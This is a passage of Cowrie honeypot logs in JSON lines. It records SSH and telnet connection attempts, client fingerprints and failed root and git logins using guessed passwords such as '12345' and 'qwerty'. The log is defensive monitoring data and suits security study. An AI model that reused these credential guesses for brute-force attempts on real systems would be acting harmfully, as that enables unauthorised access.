ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:48.577333Z","src_ip":"152.200.205.179","session":"93e550bae150","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server3","message":"login attempt [root/server3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:48.980968Z","src_ip":"152.200.205.179","session":"93e550bae150","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:50.075705Z","src_ip":"152.200.205.179","session":"93e550bae150","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.0","message":"Connection lost after 22.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:54.558836Z","src_ip":"8.210.75.243","session":"31bf0265db7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":51240,"dst_ip":"159.203.135.109","dst_port":23,"session":"47500fd0db9c","protocol":"telnet","message":"New connection: 170.64.224.25:51240 (159.203.135.109:23) [session: 47500fd0db9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:57.094160Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":57156,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ebabb196cbe","protocol":"ssh","message":"New connection: 139.59.208.49:57156 (10.17.0.5:22) [session: 6ebabb196cbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:01.183242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:01.187543Z","src_ip":"139.59.208.49","session":"6ebabb196cbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:01.266658Z","src_ip":"139.59.208.49","session":"6ebabb196cbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Butvang@123","message":"login attempt [root/Butvang@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:01.621748Z","src_ip":"139.59.208.49","session":"6ebabb196cbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:02.707731Z","src_ip":"139.59.208.49","session":"6ebabb196cbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"164.92.161.148","src_port":58572,"dst_ip":"10.17.0.5","dst_port":22,"session":"62c00d5c4ca0","protocol":"ssh","message":"New connection: 164.92.161.148:58572 (10.17.0.5:22) [session: 62c00d5c4ca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:04.798233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:04.802304Z","src_ip":"164.92.161.148","session":"62c00d5c4ca0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:04.883466Z","src_ip":"164.92.161.148","session":"62c00d5c4ca0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"demon","message":"login attempt [root/demon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:05.241643Z","src_ip":"164.92.161.148","session":"62c00d5c4ca0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:06.325516Z","src_ip":"164.92.161.148","session":"62c00d5c4ca0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":44998,"dst_ip":"10.17.0.5","dst_port":22,"session":"65be6bf01215","protocol":"ssh","message":"New connection: 8.210.75.243:44998 (10.17.0.5:22) [session: 65be6bf01215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:13.038712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:13.042179Z","src_ip":"8.210.75.243","session":"65be6bf01215","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.942482471466064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:15.635595Z","src_ip":"170.64.224.25","session":"4b077e283c4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"105.27.148.94","src_port":34502,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad7efe08b178","protocol":"ssh","message":"New connection: 105.27.148.94:34502 (10.17.0.5:22) [session: ad7efe08b178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:26.322695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:26.326104Z","src_ip":"105.27.148.94","session":"ad7efe08b178","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:26.539800Z","src_ip":"105.27.148.94","session":"ad7efe08b178","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.13","src_port":56104,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9c5e2a2aceb","protocol":"ssh","message":"New connection: 91.92.40.13:56104 (159.203.135.109:22) [session: a9c5e2a2aceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:27.301189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:27.320868Z","src_ip":"91.92.40.13","session":"a9c5e2a2aceb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passwd123","message":"login attempt [root/Passwd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:27.432722Z","src_ip":"105.27.148.94","session":"ad7efe08b178","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:27.612547Z","src_ip":"91.92.40.13","session":"a9c5e2a2aceb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:28.040351Z","src_ip":"91.92.40.13","session":"a9c5e2a2aceb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:28.649714Z","src_ip":"105.27.148.94","session":"ad7efe08b178","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:29.690114Z","src_ip":"91.92.40.13","session":"a9c5e2a2aceb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:32.112293Z","src_ip":"8.210.75.243","session":"27fe81a29ef1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":36262,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad22f0bc1e41","protocol":"ssh","message":"New connection: 91.92.40.4:36262 (10.17.0.5:22) [session: ad22f0bc1e41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:36.136341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:36.139401Z","src_ip":"91.92.40.4","session":"ad22f0bc1e41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:36.218940Z","src_ip":"91.92.40.4","session":"ad22f0bc1e41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"qwerty","message":"login attempt [git/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:36.487519Z","src_ip":"91.92.40.4","session":"ad22f0bc1e41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:37.569713Z","src_ip":"91.92.40.4","session":"ad22f0bc1e41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":59498,"dst_ip":"159.203.135.109","dst_port":22,"session":"556bcd441340","protocol":"ssh","message":"New connection: 147.45.211.215:59498 (159.203.135.109:22) [session: 556bcd441340]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:39.925230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:39.928003Z","src_ip":"147.45.211.215","session":"556bcd441340","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:40.093399Z","src_ip":"147.45.211.215","session":"556bcd441340","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"07101962","message":"login attempt [root/07101962] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:40.590830Z","src_ip":"147.45.211.215","session":"556bcd441340","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:41.758923Z","src_ip":"147.45.211.215","session":"556bcd441340","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":57110,"dst_ip":"10.17.0.5","dst_port":22,"session":"3151ad51cc86","protocol":"ssh","message":"New connection: 8.210.75.243:57110 (10.17.0.5:22) [session: 3151ad51cc86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:43.042873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:43.059382Z","src_ip":"8.210.75.243","session":"3151ad51cc86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:44.045690Z","src_ip":"8.210.75.243","session":"3151ad51cc86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:46.138440Z","src_ip":"8.210.75.243","session":"789861f880be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.121.102.3","src_port":55432,"dst_ip":"10.17.0.5","dst_port":22,"session":"f653ebdcd94e","protocol":"ssh","message":"New connection: 129.121.102.3:55432 (10.17.0.5:22) [session: f653ebdcd94e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:51.425293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:51.429118Z","src_ip":"129.121.102.3","session":"f653ebdcd94e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS